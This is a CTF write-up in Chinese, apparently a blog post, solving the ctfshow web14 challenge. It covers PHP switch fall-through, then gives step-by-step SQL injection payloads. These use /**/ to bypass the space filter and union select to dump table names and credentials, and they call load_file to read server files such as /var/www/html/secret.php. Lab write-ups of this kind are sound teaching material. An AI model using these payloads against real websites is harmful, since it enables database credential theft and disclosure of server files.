zoukankan      html  css  js  c++  java
  • CTF web之旅 36

    ctfshow web14

    打开

     <?php
    include("secret.php");
    
    if(isset($_GET['c'])){
        $c = intval($_GET['c']);
        sleep($c);
        switch ($c) {
            case 1:
                echo '$url';
                break;
            case 2:
                echo '@A@';
                break;
            case 555555:
                echo $url;
            case 44444:
                echo "@A@";
                break;
            case 3333:
                echo $url;
                break;
            case 222:
                echo '@A@';
                break;
            case 222:
                echo '@A@';
                break;
            case 3333:
                echo $url;
                break;
            case 44444:
                echo '@A@';
            case 555555:
                echo $url;
                break;
            case 3:
                echo '@A@';
            case 6000000:
                echo "$url";
            case 1:
                echo '@A@';
                break;
        }
    }
    
    highlight_file(__FILE__); 

    我们想要把url输出  需要知道对于switch 语句遇不到break是不会退出的 会继续执行下一个case语句 还需要知道在php中 单引号不支持变量解析 双引号才支持

    比如

    <?php 
    $a=123;
    echo"$a";//输出123
    echo'$a';//输出$a
    ?>

    所以为了不让sleep太长的时间 我们直接传入c=3  访问给出的页面  看似是sql注入 发现过滤掉一些字符  空格用/**/进行代替

    传入 ?query=1/**/order/**/by/**/1# 当order by 2 是开始出现不正常回显 判断出回显位数为1  看了师傅的wp 用反引号进行绕过

    ?query=-1/**/union/**/select/**/database()#

    ?query=-1/**/union/**/select/**/group_concat(table_name)/**/from/**/information_schema.`tables`/**/where/**/table_schema=database()#

    ?query=-1/**/union/**/select/**/group_concat(column_name)/**/from/**/information_schema.`columns`/**/where/**/table_name='content'#

    ?query=-1/**/union/**/select/**/group_concat(username,'~',password)/**/from/**/content#

     结果如下 秘密里有个秘密 emmm 本地load_file读取一下这个文件 linux服务器默认网站路径为/var/www/html/

    -1/**/union/**/select/**/load_file('/var/www/html/secret.php')

    crtl+u看到如下代码

     <?php $url = 'here_1s_your_f1ag.php'; $file = '/tmp/gtf1y'; if(trim(@file_get_contents($file)) === 'ctf.show'){ echo file_get_contents('/real_flag_is_here'); }'

    绕过条件限制直接读得到flag

  • 相关阅读:
    [USACO4.2]草地排水Drainage Ditches
    bzoj3236:[AHOI2013]作业
    小A买彩票-(组合数)
    CSS样式整理大全
    P1880 [NOI1995]石子合并-(环形区间dp)
    P1147连续自然数和-(尺取法)
    POJ2456Aggressive cows-(二分判定)
    NYOJ737石子合并(二)-(区间dp)
    牛客网-乌龟跑步-(dfs)
    int和string之间的转换
  • 原文地址:https://www.cnblogs.com/akger/p/14699692.html
Copyright © 2011-2022 走看看